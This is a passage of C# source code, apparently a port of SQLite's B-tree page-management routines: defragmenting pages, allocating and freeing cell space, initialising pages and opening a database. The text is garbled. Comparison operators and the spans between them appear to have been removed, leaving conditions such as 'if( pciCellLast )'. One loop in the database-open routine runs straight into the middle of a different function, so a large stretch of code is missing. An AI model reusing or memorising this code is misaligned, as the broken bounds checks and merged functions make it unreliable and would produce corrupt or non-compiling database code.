iCellFirst; /* First allowable cell index */ int iCellLast; /* Last possible cell index */ Debug.Assert(sqlite3PagerIswriteable(pPage.pDbPage)); Debug.Assert(pPage.pBt != null); Debug.Assert(pPage.pBt.usableSize <= SQLITE_MAX_PAGE_SIZE); Debug.Assert(pPage.nOverflow == 0); Debug.Assert(sqlite3_mutex_held(pPage.pBt.mutex)); temp = sqlite3PagerTempSpace(pPage.pBt.pPager); data = pPage.aData; hdr = pPage.hdrOffset; cellOffset = pPage.cellOffset; nCell = pPage.nCell; Debug.Assert(nCell == get2byte(data, hdr + 3)); usableSize = pPage.pBt.usableSize; cbrk = get2byte(data, hdr + 5); Buffer.BlockCopy(data, cbrk, temp, cbrk, usableSize - cbrk);//memcpy( temp[cbrk], ref data[cbrk], usableSize - cbrk ); cbrk = usableSize; iCellFirst = cellOffset + 2 * nCell; iCellLast = usableSize - 4; for (i = 0; i < nCell; i++) { int pAddr; /* The i-th cell pointer */ pAddr = cellOffset + i * 2; // &data[cellOffset + i * 2]; pc = get2byte(data, pAddr); testcase(pc == iCellFirst); testcase(pc == iCellLast); #if !(SQLITE_ENABLE_OVERSIZE_CELL_CHECK) /* These conditions have already been verified in btreeInitPage() ** if SQLITE_ENABLE_OVERSIZE_CELL_CHECK is defined */ if( pciCellLast ){ #if SQLITE_DEBUG || DEBUG return SQLITE_CORRUPT_BKPT(); #else return SQLITE_CORRUPT_BKPT; #endif } #endif Debug.Assert(pc >= iCellFirst && pc <= iCellLast); size = cellSizePtr(pPage, temp, pc); cbrk -= size; #if (SQLITE_ENABLE_OVERSIZE_CELL_CHECK) if (cbrk < iCellFirst) { #if SQLITE_DEBUG || DEBUG return SQLITE_CORRUPT_BKPT(); #else return SQLITE_CORRUPT_BKPT; #endif } #else if( cbrkusableSize ){ #if SQLITE_DEBUG || DEBUG return SQLITE_CORRUPT_BKPT(); #else return SQLITE_CORRUPT_BKPT; #endif } #endif Debug.Assert(cbrk + size <= usableSize && cbrk >= iCellFirst); testcase(cbrk + size == usableSize); testcase(pc + size == usableSize); Buffer.BlockCopy(temp, pc, data, cbrk, size);//memcpy(data[cbrk], ref temp[pc], size); put2byte(data, pAddr, cbrk); } Debug.Assert(cbrk >= iCellFirst); put2byte(data, hdr + 5, cbrk); data[hdr + 1] = 0; data[hdr + 2] = 0; data[hdr + 7] = 0; addr = cellOffset + 2 * nCell; Array.Clear(data, addr, cbrk - addr); //memset(data[iCellFirst], 0, cbrk-iCellFirst); Debug.Assert(sqlite3PagerIswriteable(pPage.pDbPage)); if (cbrk - iCellFirst != pPage.nFree) { #if SQLITE_DEBUG || DEBUG return SQLITE_CORRUPT_BKPT(); #else return SQLITE_CORRUPT_BKPT; #endif } return SQLITE_OK; } /* ** Allocate nByte bytes of space from within the B-Tree page passed ** as the first argument. Write into pIdx the index into pPage.aData[] ** of the first byte of allocated space. Return either SQLITE_OK or ** an error code (usually SQLITE_CORRUPT). ** ** The caller guarantees that there is sufficient space to make the ** allocation. This routine might need to defragment in order to bring ** all the space together, however. This routine will avoid using ** the first two bytes past the cell pointer area since presumably this ** allocation is being made in order to insert a new cell, so we will ** also end up needing a new cell pointer. */ static int allocateSpace(MemPage pPage, int nByte, ref int pIdx) { int hdr = pPage.hdrOffset; /* Local cache of pPage.hdrOffset */ u8[] data = pPage.aData; /* Local cache of pPage.aData */ int nFrag; /* Number of fragmented bytes on pPage */ int top; /* First byte of cell content area */ int gap; /* First byte of gap between cell pointers and cell content */ int rc; /* Integer return code */ Debug.Assert(sqlite3PagerIswriteable(pPage.pDbPage)); Debug.Assert(pPage.pBt != null); Debug.Assert(sqlite3_mutex_held(pPage.pBt.mutex)); Debug.Assert(nByte >= 0); /* Minimum cell size is 4 */ Debug.Assert(pPage.nFree >= nByte); Debug.Assert(pPage.nOverflow == 0); Debug.Assert(nByte < pPage.pBt.usableSize - 8); nFrag = data[hdr + 7]; Debug.Assert(pPage.cellOffset == hdr + 12 - 4 * pPage.leaf); gap = pPage.cellOffset + 2 * pPage.nCell; top = get2byte(data, hdr + 5); if (gap > top) #if SQLITE_DEBUG || DEBUG return SQLITE_CORRUPT_BKPT(); #else return SQLITE_CORRUPT_BKPT; #endif testcase(gap + 2 == top); testcase(gap + 1 == top); testcase(gap == top); if (nFrag >= 60) { /* Always defragment highly fragmented pages */ rc = defragmentPage(pPage); if (rc != 0) return rc; top = get2byte(data, hdr + 5); } else if (gap + 2 <= top) { /* Search the freelist looking for a free slot big enough to satisfy ** the request. The allocation is made from the first free slot in ** the list that is large enough to accomadate it. */ int pc, addr; for (addr = hdr + 1; (pc = get2byte(data, addr)) > 0; addr = pc) { int size = get2byte(data, pc + 2); /* Size of free slot */ if (size >= nByte) { int x = size - nByte; testcase(x == 4); testcase(x == 3); if (x < 4) { /* Remove the slot from the free-list. Update the number of ** fragmented bytes within the page. */ data[addr + 0] = data[pc + 0]; data[addr + 1] = data[pc + 1]; //memcpy( data[addr], ref data[pc], 2 ); data[hdr + 7] = (u8)(nFrag + x); } else { /* The slot remains on the free-list. Reduce its size to account ** for the portion used by the new allocation. */ put2byte(data, pc + 2, x); } pIdx = pc + x; return SQLITE_OK; } } } /* Check to make sure there is enough space in the gap to satisfy ** the allocation. If not, defragment. */ testcase(gap + 2 + nByte == top); if (gap + 2 + nByte > top) { rc = defragmentPage(pPage); if (rc != 0) return rc; top = get2byte(data, hdr + 5); Debug.Assert(gap + nByte <= top); } /* Allocate memory from the gap in between the cell pointer array ** and the cell content area. The btreeInitPage() call has already ** validated the freelist. Given that the freelist is valid, there ** is no way that the allocation can extend off the end of the page. ** The Debug.Assert() below verifies the previous sentence. */ top -= nByte; put2byte(data, hdr + 5, top); Debug.Assert(top + nByte <= pPage.pBt.usableSize); pIdx = top; return SQLITE_OK; } /* ** Return a section of the pPage.aData to the freelist. ** The first byte of the new free block is pPage.aDisk[start] ** and the size of the block is "size" bytes. ** ** Most of the effort here is involved in coalesing adjacent ** free blocks into a single big free block. */ static int freeSpace(MemPage pPage, int start, int size) { int addr, pbegin, hdr; int iLast; /* Largest possible freeblock offset */ byte[] data = pPage.aData; Debug.Assert(pPage.pBt != null); Debug.Assert(sqlite3PagerIswriteable(pPage.pDbPage)); Debug.Assert(start >= pPage.hdrOffset + 6 + pPage.childPtrSize); Debug.Assert((start + size) <= pPage.pBt.usableSize); Debug.Assert(sqlite3_mutex_held(pPage.pBt.mutex)); Debug.Assert(size >= 0); /* Minimum cell size is 4 */ #if SQLITE_SECURE_DELETE /* Overwrite deleted information with zeros when the SECURE_DELETE ** option is enabled at compile-time */ memset(data[start], 0, size); #endif /* Add the space back into the linked list of freeblocks. Note that ** even though the freeblock list was checked by btreeInitPage(), ** btreeInitPage() did not detect overlapping cells or ** freeblocks that overlapped cells. Nor does it detect when the ** cell content area exceeds the value in the page header. If these ** situations arise, then subsequent insert operations might corrupt ** the freelist. So we do need to check for corruption while scanning ** the freelist. */ hdr = pPage.hdrOffset; addr = hdr + 1; iLast = pPage.pBt.usableSize - 4; Debug.Assert(start <= iLast); while ((pbegin = get2byte(data, addr)) < start && pbegin > 0) { if (pbegin < addr + 4) { #if SQLITE_DEBUG || DEBUG return SQLITE_CORRUPT_BKPT(); #else return SQLITE_CORRUPT_BKPT; #endif } addr = pbegin; } if (pbegin > iLast) { #if SQLITE_DEBUG || DEBUG return SQLITE_CORRUPT_BKPT(); #else return SQLITE_CORRUPT_BKPT; #endif } Debug.Assert(pbegin > addr || pbegin == 0); put2byte(data, addr, start); put2byte(data, start, pbegin); put2byte(data, start + 2, size); pPage.nFree = (u16)(pPage.nFree + size); /* Coalesce adjacent free blocks */ addr = hdr + 1; while ((pbegin = get2byte(data, addr)) > 0) { int pnext, psize, x; Debug.Assert(pbegin > addr); Debug.Assert(pbegin <= pPage.pBt.usableSize - 4); pnext = get2byte(data, pbegin); psize = get2byte(data, pbegin + 2); if (pbegin + psize + 3 >= pnext && pnext > 0) { int frag = pnext - (pbegin + psize); if ((frag < 0) || (frag > (int)data[hdr + 7])) { #if SQLITE_DEBUG || DEBUG return SQLITE_CORRUPT_BKPT(); #else return SQLITE_CORRUPT_BKPT; #endif } data[hdr + 7] -= (u8)frag; x = get2byte(data, pnext); put2byte(data, pbegin, x); x = pnext + get2byte(data, pnext + 2) - pbegin; put2byte(data, pbegin + 2, x); } else { addr = pbegin; } } /* If the cell content area begins with a freeblock, remove it. */ if (data[hdr + 1] == data[hdr + 5] && data[hdr + 2] == data[hdr + 6]) { int top; pbegin = get2byte(data, hdr + 1); put2byte(data, hdr + 1, get2byte(data, pbegin)); //memcpy( data[hdr + 1], ref data[pbegin], 2 ); top = get2byte(data, hdr + 5) + get2byte(data, pbegin + 2); put2byte(data, hdr + 5, top); } Debug.Assert(sqlite3PagerIswriteable(pPage.pDbPage)); return SQLITE_OK; } /* ** Decode the flags byte (the first byte of the header) for a page ** and initialize fields of the MemPage structure accordingly. ** ** Only the following combinations are supported. Anything different ** indicates a corrupt database files: ** ** PTF_ZERODATA ** PTF_ZERODATA | PTF_LEAF ** PTF_LEAFDATA | PTF_INTKEY ** PTF_LEAFDATA | PTF_INTKEY | PTF_LEAF */ static int decodeFlags(MemPage pPage, int flagByte) { BtShared pBt; /* A copy of pPage.pBt */ Debug.Assert(pPage.hdrOffset == (pPage.pgno == 1 ? 100 : 0)); Debug.Assert(sqlite3_mutex_held(pPage.pBt.mutex)); pPage.leaf = (u8)(flagByte >> 3); Debug.Assert(PTF_LEAF == 1 << 3); flagByte &= ~PTF_LEAF; pPage.childPtrSize = (u8)(4 - 4 * pPage.leaf); pBt = pPage.pBt; if (flagByte == (PTF_LEAFDATA | PTF_INTKEY)) { pPage.intKey = 1; pPage.hasData = pPage.leaf; pPage.maxLocal = pBt.maxLeaf; pPage.minLocal = pBt.minLeaf; } else if (flagByte == PTF_ZERODATA) { pPage.intKey = 0; pPage.hasData = 0; pPage.maxLocal = pBt.maxLocal; pPage.minLocal = pBt.minLocal; } else { #if SQLITE_DEBUG || DEBUG return SQLITE_CORRUPT_BKPT(); #else return SQLITE_CORRUPT_BKPT; #endif } return SQLITE_OK; } /* ** Initialize the auxiliary information for a disk block. ** ** Return SQLITE_OK on success. If we see that the page does ** not contain a well-formed database page, then return ** SQLITE_CORRUPT. Note that a return of SQLITE_OK does not ** guarantee that the page is well-formed. It only shows that ** we failed to detect any corruption. */ static int btreeInitPage(MemPage pPage) { Debug.Assert(pPage.pBt != null); Debug.Assert(sqlite3_mutex_held(pPage.pBt.mutex)); Debug.Assert(pPage.pgno == sqlite3PagerPagenumber(pPage.pDbPage)); Debug.Assert(pPage == sqlite3PagerGetExtra(pPage.pDbPage)); Debug.Assert(pPage.aData == sqlite3PagerGetData(pPage.pDbPage)); if (0 == pPage.isInit) { u16 pc; /* Address of a freeblock within pPage.aData[] */ u8 hdr; /* Offset to beginning of page header */ u8[] data; /* Equal to pPage.aData */ BtShared pBt; /* The main btree structure */ u16 usableSize; /* Amount of usable space on each page */ u16 cellOffset; /* Offset from start of page to first cell pointer */ u16 nFree; /* Number of unused bytes on the page */ u16 top; /* First byte of the cell content area */ int iCellFirst; /* First allowable cell or freeblock offset */ int iCellLast; /* Last possible cell or freeblock offset */ pBt = pPage.pBt; hdr = pPage.hdrOffset; data = pPage.aData; if (decodeFlags(pPage, data[hdr]) != 0) #if SQLITE_DEBUG || DEBUG return SQLITE_CORRUPT_BKPT(); #else return SQLITE_CORRUPT_BKPT; #endif Debug.Assert(pBt.pageSize >= 512 && pBt.pageSize <= 32768); pPage.maskPage = (u16)(pBt.pageSize - 1); pPage.nOverflow = 0; usableSize = pBt.usableSize; pPage.cellOffset = (cellOffset = (u16)(hdr + 12 - 4 * pPage.leaf)); top = (u16)get2byte(data, hdr + 5); pPage.nCell = (u16)(get2byte(data, hdr + 3)); if (pPage.nCell > MX_CELL(pBt)) { /* To many cells for a single page. The page must be corrupt */ #if SQLITE_DEBUG || DEBUG return SQLITE_CORRUPT_BKPT(); #else return SQLITE_CORRUPT_BKPT; #endif } testcase(pPage.nCell == MX_CELL(pBt)); /* A malformed database page might cause us to read past the end ** of page when parsing a cell. ** ** The following block of code checks early to see if a cell extends ** past the end of a page boundary and causes SQLITE_CORRUPT to be ** returned if it does. */ iCellFirst = cellOffset + 2 * pPage.nCell; iCellLast = usableSize - 4; #if (SQLITE_ENABLE_OVERSIZE_CELL_CHECK) { int i; /* Index into the cell pointer array */ int sz; /* Size of a cell */ if (0 == pPage.leaf) iCellLast--; for (i = 0; i < pPage.nCell; i++) { pc = (u16)get2byte(data, cellOffset + i * 2); testcase(pc == iCellFirst); testcase(pc == iCellLast); if (pc < iCellFirst || pc > iCellLast) { #if SQLITE_DEBUG || DEBUG return SQLITE_CORRUPT_BKPT(); #else return SQLITE_CORRUPT_BKPT; #endif } sz = cellSizePtr(pPage, data, pc); testcase(pc + sz == usableSize); if (pc + sz > usableSize) { #if SQLITE_DEBUG || DEBUG return SQLITE_CORRUPT_BKPT(); #else return SQLITE_CORRUPT_BKPT; #endif } } if (0 == pPage.leaf) iCellLast++; } #endif /* Compute the total free space on the page */ pc = (u16)get2byte(data, hdr + 1); nFree = (u16)(data[hdr + 7] + top); while (pc > 0) { u16 next, size; if (pc < iCellFirst || pc > iCellLast) { /* Free block is off the page */ #if SQLITE_DEBUG || DEBUG return SQLITE_CORRUPT_BKPT(); #else return SQLITE_CORRUPT_BKPT; #endif } next = (u16)get2byte(data, pc); size = (u16)get2byte(data, pc + 2); if (next > 0 && next <= pc + size + 3) { /* Free blocks must be in ascending order */ #if SQLITE_DEBUG || DEBUG return SQLITE_CORRUPT_BKPT(); #else return SQLITE_CORRUPT_BKPT; #endif } nFree = (u16)(nFree + size); pc = next; } /* At this point, nFree contains the sum of the offset to the start ** of the cell-content area plus the number of free bytes within ** the cell-content area. If this is greater than the usable-size ** of the page, then the page must be corrupted. This check also ** serves to verify that the offset to the start of the cell-content ** area, according to the page header, lies within the page. */ if (nFree > usableSize) { #if SQLITE_DEBUG || DEBUG return SQLITE_CORRUPT_BKPT(); #else return SQLITE_CORRUPT_BKPT; #endif } pPage.nFree = (u16)(nFree - iCellFirst); pPage.isInit = 1; } return SQLITE_OK; } /* ** Set up a raw page so that it looks like a database page holding ** no entries. */ static void zeroPage(MemPage pPage, int flags) { byte[] data = pPage.aData; BtShared pBt = pPage.pBt; u8 hdr = pPage.hdrOffset; u16 first; Debug.Assert(sqlite3PagerPagenumber(pPage.pDbPage) == pPage.pgno); Debug.Assert(sqlite3PagerGetExtra(pPage.pDbPage) == pPage); Debug.Assert(sqlite3PagerGetData(pPage.pDbPage) == data); Debug.Assert(sqlite3PagerIswriteable(pPage.pDbPage)); Debug.Assert(sqlite3_mutex_held(pBt.mutex)); /*memset(data[hdr], 0, pBt.usableSize - hdr);*/ data[hdr] = (u8)flags; first = (u16)(hdr + 8 + 4 * ((flags & PTF_LEAF) == 0 ? 1 : 0)); Array.Clear(data, hdr + 1, 4);//memset(data[hdr+1], 0, 4); data[hdr + 7] = 0; put2byte(data, hdr + 5, pBt.usableSize); pPage.nFree = (u16)(pBt.usableSize - first); decodeFlags(pPage, flags); pPage.hdrOffset = hdr; pPage.cellOffset = first; pPage.nOverflow = 0; Debug.Assert(pBt.pageSize >= 512 && pBt.pageSize <= 32768); pPage.maskPage = (u16)(pBt.pageSize - 1); pPage.nCell = 0; pPage.isInit = 1; } /* ** Convert a DbPage obtained from the pager into a MemPage used by ** the btree layer. */ static MemPage btreePageFromDbPage(DbPage pDbPage, Pgno pgno, BtShared pBt) { MemPage pPage = (MemPage)sqlite3PagerGetExtra(pDbPage); pPage.aData = sqlite3PagerGetData(pDbPage); pPage.pDbPage = pDbPage; pPage.pBt = pBt; pPage.pgno = pgno; pPage.hdrOffset = (u8)(pPage.pgno == 1 ? 100 : 0); return pPage; } /* ** Get a page from the pager. Initialize the MemPage.pBt and ** MemPage.aData elements if needed. ** ** If the noContent flag is set, it means that we do not care about ** the content of the page at this time. So do not go to the disk ** to fetch the content. Just fill in the content with zeros for now. ** If in the future we call sqlite3PagerWrite() on this page, that ** means we have started to be concerned about content and the disk ** read should occur at that point. */ static int btreeGetPage( BtShared pBt, /* The btree */ Pgno pgno, /* Number of the page to fetch */ ref MemPage ppPage, /* Return the page in this parameter */ int noContent /* Do not load page content if true */ ) { int rc; DbPage pDbPage = new PgHdr(); Debug.Assert(sqlite3_mutex_held(pBt.mutex)); rc = sqlite3PagerAcquire(pBt.pPager, pgno, ref pDbPage, (u8)noContent); if (rc != 0) return rc; ppPage = btreePageFromDbPage(pDbPage, pgno, pBt); return SQLITE_OK; } /* ** Retrieve a page from the pager cache. If the requested page is not ** already in the pager cache return NULL. Initialize the MemPage.pBt and ** MemPage.aData elements if needed. */ static MemPage btreePageLookup(BtShared pBt, Pgno pgno) { DbPage pDbPage; Debug.Assert(sqlite3_mutex_held(pBt.mutex)); pDbPage = sqlite3PagerLookup(pBt.pPager, pgno); if (pDbPage) { return btreePageFromDbPage(pDbPage, pgno, pBt); } return null; } /* ** Return the size of the database file in pages. If there is any kind of ** error, return ((unsigned int)-1). */ static Pgno pagerPagecount(BtShared pBt) { int nPage = -1; int rc; Debug.Assert(pBt.pPage1 != null); rc = sqlite3PagerPagecount(pBt.pPager, ref nPage); Debug.Assert(rc == SQLITE_OK || nPage == -1); return (Pgno)nPage; } /* ** Get a page from the pager and initialize it. This routine is just a ** convenience wrapper around separate calls to btreeGetPage() and ** btreeInitPage(). ** ** If an error occurs, then the value ppPage is set to is undefined. It ** may remain unchanged, or it may be set to an invalid value. */ static int getAndInitPage( BtShared pBt, /* The database file */ Pgno pgno, /* Number of the page to get */ ref MemPage ppPage /* Write the page pointer here */ ) { int rc; #if !NDEBUG || SQLITE_COVERAGE_TEST Pgno iLastPg = pagerPagecount(pBt);// TESTONLY( Pgno iLastPg = pagerPagecount(pBt); ) #else const Pgno iLastPg = Pgno.MaxValue; #endif Debug.Assert(sqlite3_mutex_held(pBt.mutex)); rc = btreeGetPage(pBt, pgno, ref ppPage, 0); if (rc == SQLITE_OK) { rc = btreeInitPage(ppPage); if (rc != SQLITE_OK) { releasePage(ppPage); } } /* If the requested page number was either 0 or greater than the page ** number of the last page in the database, this function should return ** SQLITE_CORRUPT or some other error (i.e. SQLITE_FULL). Check that this ** is the case. */ Debug.Assert((pgno > 0 && pgno <= iLastPg) || rc != SQLITE_OK); testcase(pgno == 0); testcase(pgno == iLastPg); return rc; } /* ** Release a MemPage. This should be called once for each prior ** call to btreeGetPage. */ static void releasePage(MemPage pPage) { if (pPage != null) { Debug.Assert(pPage.nOverflow == 0 || sqlite3PagerPageRefcount(pPage.pDbPage) > 1); Debug.Assert(pPage.aData != null); Debug.Assert(pPage.pBt != null); Debug.Assert(sqlite3PagerGetExtra(pPage.pDbPage) == pPage); Debug.Assert(sqlite3PagerGetData(pPage.pDbPage) == pPage.aData); Debug.Assert(sqlite3_mutex_held(pPage.pBt.mutex)); sqlite3PagerUnref(pPage.pDbPage); } } /* ** During a rollback, when the pager reloads information into the cache ** so that the cache is restored to its original state at the start of ** the transaction, for each page restored this routine is called. ** ** This routine needs to reset the extra data section at the end of the ** page to agree with the restored data. */ static void pageReinit(DbPage pData) { MemPage pPage; pPage = sqlite3PagerGetExtra(pData); Debug.Assert(sqlite3PagerPageRefcount(pData) > 0); if (pPage.isInit != 0) { Debug.Assert(sqlite3_mutex_held(pPage.pBt.mutex)); pPage.isInit = 0; if (sqlite3PagerPageRefcount(pData) > 1) { /* pPage might not be a btree page; it might be an overflow page ** or ptrmap page or a free page. In those cases, the following ** call to btreeInitPage() will likely return SQLITE_CORRUPT. ** But no harm is done by this. And it is very important that ** btreeInitPage() be called on every btree page so we make ** the call for every page that comes in for re-initing. */ btreeInitPage(pPage); } } } /* ** Invoke the busy handler for a btree. */ static int btreeInvokeBusyHandler(object pArg) { BtShared pBt = (BtShared)pArg; Debug.Assert(pBt.db != null); Debug.Assert(sqlite3_mutex_held(pBt.db.mutex)); return sqlite3InvokeBusyHandler(pBt.db.busyHandler); } /* ** Open a database file. ** ** zFilename is the name of the database file. If zFilename is NULL ** a new database with a random name is created. This randomly named ** database file will be deleted when sqlite3BtreeClose() is called. ** If zFilename is ":memory:" then an in-memory database is created ** that is automatically destroyed when it is closed. ** ** If the database is already opened in the same database connection ** and we are in shared cache mode, then the open will fail with an ** SQLITE_CONSTRAINT error. We cannot allow two or more BtShared ** objects in the same database connection since doing so will lead ** to problems with locking. */ static int sqlite3BtreeOpen( string zFilename, /* Name of the file containing the BTree database */ sqlite3 db, /* Associated database handle */ ref Btree ppBtree, /* Pointer to new Btree object written here */ int flags, /* Options */ int vfsFlags /* Flags passed through to sqlite3_vfs.xOpen() */ ) { sqlite3_vfs pVfs; /* The VFS to use for this btree */ BtShared pBt = null; /* Shared part of btree structure */ Btree p; /* Handle to return */ sqlite3_mutex mutexOpen = null; /* Prevents a race condition. Ticket #3537 */ int rc = SQLITE_OK; /* Result code from this function */ u8 nReserve; /* Byte of unused space on each page */ byte[] zDbHeader = new byte[100]; /* Database header content */ /* Set the variable isMemdb to true for an in-memory database, or ** false for a file-based database. This symbol is only required if ** either of the shared-data or autovacuum features are compiled ** into the library. */ #if !(SQLITE_OMIT_SHARED_CACHE) || !(SQLITE_OMIT_AUTOVACUUM) #if SQLITE_OMIT_MEMORYDB bool isMemdb = false; #else bool isMemdb = zFilename == ":memory:"; #endif #endif Debug.Assert(db != null); Debug.Assert(sqlite3_mutex_held(db.mutex)); pVfs = db.pVfs; p = new Btree();//sqlite3MallocZero(sizeof(Btree)); //if( !p ){ // return SQLITE_NOMEM; //} p.inTrans = TRANS_NONE; p.db = db; #if !SQLITE_OMIT_SHARED_CACHE p.lock.pBtree = p; p.lock.iTable = 1; #endif #if !(SQLITE_OMIT_SHARED_CACHE) && !(SQLITE_OMIT_DISKIO) /* ** If this Btree is a candidate for shared cache, try to find an ** existing BtShared object that we can share with */ if( isMemdb==null && zFilename && zFilename[0] ){ if( sqlite3GlobalConfig.sharedCacheEnabled ){ int nFullPathname = pVfs.mxPathname+1; string zFullPathname = sqlite3Malloc(nFullPathname); sqlite3_mutex *mutexShared; p.sharable = 1; if( !zFullPathname ){ p = null;//sqlite3_free(ref p); return SQLITE_NOMEM; } sqlite3OsFullPathname(pVfs, zFilename, nFullPathname, zFullPathname); mutexOpen = sqlite3MutexAlloc(SQLITE_MUTEX_STATIC_OPEN); sqlite3_mutex_enter(mutexOpen); mutexShared = sqlite3MutexAlloc(SQLITE_MUTEX_STATIC_MASTER); sqlite3_mutex_enter(mutexShared); for(pBt=GLOBAL(BtShared*,sqlite3SharedCacheList); pBt; pBt=pBt.pNext){ Debug.Assert( pBt.nRef>0 ); if( 0==strcmp(zFullPathname, sqlite3PagerFilename(pBt.pPager)) && sqlite3PagerVfs(pBt.pPager)==pVfs ){ int iDb; for(iDb=db.nDb-1; iDb>=0; iDb--){ Btree pExisting = db.aDb[iDb].pBt; if( pExisting && pExisting.pBt==pBt ){ sqlite3_mutex_leave(mutexShared); sqlite3_mutex_leave(mutexOpen); zFullPathname = null;//sqlite3_free(ref zFullPathname); p=null;//sqlite3_free(ref p); return SQLITE_CONSTRAINT; } } p.pBt = pBt; pBt.nRef++; break; } } sqlite3_mutex_leave(mutexShared); zFullPathname=null;//sqlite3_free(ref zFullPathname); } #if SQLITE_DEBUG else{ /* In debug mode, we mark all persistent databases as sharable ** even when they are not. This exercises the locking code and ** gives more opportunity for asserts(sqlite3_mutex_held()) ** statements to find locking problems. */ p.sharable = 1; } #endif } #endif if (pBt == null) { /* ** The following asserts make sure that structures used by the btree are ** the right size. This is to guard against size changes that result ** when compiling on a different architecture. */ Debug.Assert(sizeof(i64) == 8 || sizeof(i64) == 4); Debug.Assert(sizeof(u64) == 8 || sizeof(u64) == 4); Debug.Assert(sizeof(u32) == 4); Debug.Assert(sizeof(u16) == 2); Debug.Assert(sizeof(Pgno) == 4); pBt = new BtShared();//sqlite3MallocZero( sizeof(pBt) ); //if( pBt==null ){ // rc = SQLITE_NOMEM; // goto btree_open_out; //} rc = sqlite3PagerOpen(pVfs, ref pBt.pPager, zFilename, EXTRA_SIZE, flags, vfsFlags, pageReinit); if (rc == SQLITE_OK) { rc = sqlite3PagerReadFileheader(pBt.pPager, zDbHeader.Length, zDbHeader); } if (rc != SQLITE_OK) { goto btree_open_out; } pBt.db = db; sqlite3PagerSetBusyhandler(pBt.pPager, btreeInvokeBusyHandler, pBt); p.pBt = pBt; pBt.pCursor = null; pBt.pPage1 = null; pBt.readOnly = sqlite3PagerIsreadonly(pBt.pPager); pBt.pageSize = (u16)get2byte(zDbHeader, 16); if (pBt.pageSize < 512 || pBt.pageSize > SQLITE_MAX_PAGE_SIZE || ((pBt.pageSize - 1) & pBt.pageSize) != 0) { pBt.pageSize = 0; #if !SQLITE_OMIT_AUTOVACUUM /* If the magic name ":memory:" will create an in-memory database, then ** leave the autoVacuum mode at 0 (do not auto-vacuum), even if ** SQLITE_DEFAULT_AUTOVACUUM is true. On the other hand, if ** SQLITE_OMIT_MEMORYDB has been defined, then ":memory:" is just a ** regular file-name. In this case the auto-vacuum applies as per normal. */ if (zFilename != "" && !isMemdb) { pBt.autoVacuum = (SQLITE_DEFAULT_AUTOVACUUM != 0); pBt.incrVacuum = (SQLITE_DEFAULT_AUTOVACUUM == 2); } #endif nReserve = 0; } else { nReserve = zDbHeader[20]; pBt.pageSizeFixed = true; #if !SQLITE_OMIT_AUTOVACUUM pBt.autoVacuum = sqlite3Get4byte(zDbHeader, 36 + 4 * 4) != 0; pBt.incrVacuum = sqlite3Get4byte(zDbHeader, 36 + 7 * 4) != 0; #endif } rc = sqlite3PagerSetPagesize(pBt.pPager, ref pBt.pageSize, nReserve); if (rc != 0) goto btree_open_out; pBt.usableSize = (u16)(pBt.pageSize - nReserve); Debug.Assert((pBt.pageSize & 7) == 0); /* 8-byte alignment of pageSize */ #if !(SQLITE_OMIT_SHARED_CACHE) && !(SQLITE_OMIT_DISKIO) /* Add the new BtShared object to the linked list sharable BtShareds. */ if( p.sharable ){ sqlite3_mutex *mutexShared; pBt.nRef = 1; mutexShared = sqlite3MutexAlloc(SQLITE_MUTEX_STATIC_MASTER); if( SQLITE_THREADSAFE && sqlite3GlobalConfig.bCoreMutex ){ pBt.mutex = sqlite3MutexAlloc(SQLITE_MUTEX_FAST); if( pBt.mutex==null ){ rc = SQLITE_NOMEM; db.mallocFailed = 0; goto btree_open_out; } } sqlite3_mutex_enter(mutexShared); pBt.pNext = GLOBAL(BtShared*,sqlite3SharedCacheList); GLOBAL(BtShared*,sqlite3SharedCacheList) = pBt; sqlite3_mutex_leave(mutexShared); } #endif } #if !(SQLITE_OMIT_SHARED_CACHE) && !(SQLITE_OMIT_DISKIO) /* If the new Btree uses a sharable pBtShared, then link the new ** Btree into the list of all sharable Btrees for the same connection. ** The list is kept in ascending order by pBt address. */ if( p.sharable ){ int i; Btree pSib; for(i=0; i= -1 && nReserve <= 255); sqlite3BtreeEnter(p); if (pBt.pageSizeFixed) { sqlite3BtreeLeave(p); return SQLITE_READONLY; } if (nReserve < 0) { nReserve = pBt.pageSize - pBt.usableSize; } Debug.Assert(nReserve >= 0 && nReserve <= 255); if (pageSize >= 512 && pageSize <= SQLITE_MAX_PAGE_SIZE && ((pageSize - 1) & pageSize) == 0) { Debug.Assert((pageSize & 7) == 0); Debug.Assert(null == pBt.pPage1 && null == pBt.pCursor); pBt.pageSize = (u16)pageSize; // freeTempSpace(pBt); } rc = sqlite3PagerSetPagesize(pBt.pPager, ref pBt.pageSize, nReserve); pBt.usableSize = (u16)(pBt.pageSize - nReserve); if (iFix != 0) pBt.pageSizeFixed = true; sqlite3BtreeLeave(p); return rc; } /* ** Return the currently defined page size */ static int sqlite3BtreeGetPageSize(Btree p) { return p.pBt.pageSize; } /* ** Return the number of bytes of space at the end of every page that ** are intentually left unused. This is the "reserved" space that is ** sometimes used by extensions. */ static int sqlite3BtreeGetReserve(Btree p) { int n; sqlite3BtreeEnter(p); n = p.pBt.pageSize - p.pBt.usableSize; sqlite3BtreeLeave(p); return n; } /* ** Set the maximum page count for a database if mxPage is positive. ** No changes are made if mxPage is 0 or negative. ** Regardless of the value of mxPage, return the maximum page count. */ static int sqlite3BtreeMaxPageCount(Btree p, int mxPage) { int n; sqlite3BtreeEnter(p); n = (int)sqlite3PagerMaxPageCount(p.pBt.pPager, mxPage); sqlite3BtreeLeave(p); return n; } #endif //* !(SQLITE_OMIT_PAGER_PRAGMAS) || !(SQLITE_OMIT_VACUUM) */ /* ** Change the 'auto-vacuum' property of the database. If the 'autoVacuum' ** parameter is non-zero, then auto-vacuum mode is enabled. If zero, it ** is disabled. The default value for the auto-vacuum property is ** determined by the SQLITE_DEFAULT_AUTOVACUUM macro. */ static int sqlite3BtreeSetAutoVacuum(Btree p, int autoVacuum) { #if SQLITE_OMIT_AUTOVACUUM return SQLITE_READONLY; #else BtShared pBt = p.pBt; int rc = SQLITE_OK; u8 av = (u8)autoVacuum; sqlite3BtreeEnter(p); if (pBt.pageSizeFixed && (av != 0) != pBt.autoVacuum) { rc = SQLITE_READONLY; } else { pBt.autoVacuum = av != 0; pBt.incrVacuum = av == 2; } sqlite3BtreeLeave(p); return rc; #endif } /* ** Return the value of the 'auto-vacuum' property. If auto-vacuum is ** enabled 1 is returned. Otherwise 0. */ static int sqlite3BtreeGetAutoVacuum(Btree p) { #if SQLITE_OMIT_AUTOVACUUM return BTREE_AUTOVACUUM_NONE; #else int rc; sqlite3BtreeEnter(p); rc = ( (!p.pBt.autoVacuum) ? BTREE_AUTOVACUUM_NONE : (!p.pBt.incrVacuum) ? BTREE_AUTOVACUUM_FULL : 